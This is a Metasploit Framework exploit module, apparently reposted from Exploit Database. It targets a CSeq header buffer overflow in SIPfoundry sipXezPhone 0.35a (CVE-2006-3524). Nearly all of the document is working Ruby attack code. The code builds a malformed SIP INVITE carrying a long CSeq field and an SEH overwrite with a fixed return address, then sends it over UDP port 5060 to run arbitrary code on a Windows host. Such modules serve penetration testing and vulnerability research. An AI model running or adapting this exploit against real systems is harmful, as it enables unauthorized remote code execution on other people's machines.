SIPfoundry sipXezPhone 0.35a – CSeq Field Overflow (Metasploit)

• Exploit Database
• 7 阅读

• 作者： Metasploit
  日期： 2010-06-15
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16351/

• ##
  # $Id: sipxezphone_cseq.rb 9525 2010-06-15 07:18:08Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Udp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'SIPfoundry sipXezPhone 0.35a CSeq Field Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in SIPfoundry's
  				sipXezPhone version 0.35a. By sending an long CSeq header,
  				a remote attacker could overflow a buffer and execute
  				arbitrary code on the system with the privileges of
  				the affected application.
  			},
  			'Author' => 'MC',
  			'Version'=> '$Revision: 9525 $',
  			'References' =>
  				[
  					['CVE', '2006-3524'],
  					['OSVDB', '27122'],
  					['BID', '18906'],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 400,
  					'BadChars' => "\x00\x0a\x20\x09\x0d",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  
  			'Targets'=>
  				[
  					['sipXezPhone 0.35a Universal', { 'Ret' => 0x1008e853 } ],
  				],
  
  			'Privileged' => false,
  
  			'DisclosureDate' => 'Jul 10 2006',
  
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(5060)
  			], self.class)
  	end
  
  	def exploit
  		connect_udp
  
  		print_status("Trying target #{target.name}...")
  
  		user = rand_text_english(2, payload_badchars)
  		port = rand(65535).to_s
  		filler = rand_text_english(260, payload_badchars)
  		seh= generate_seh_payload(target.ret)
  		filler[252, seh.length] = seh
  
  		sploit= "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"
  		sploit<<"To: <sip:#{rhost}:#{rport}>" + "\r\n"
  		sploit<<"Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"
  		sploit<<"From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"
  		sploit<<"Call-ID: #{(rand(100)+100)}#{rhost}" + "\r\n"
  		sploit<<"CSeq: " + filler + "\r\n"
  		sploit<<"Max-Forwards: 20" +"\r\n"
  		sploit<<"Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"
  
  		udp_sock.put(sploit)
  
  		handler
  		disconnect_udp
  	end
  
  end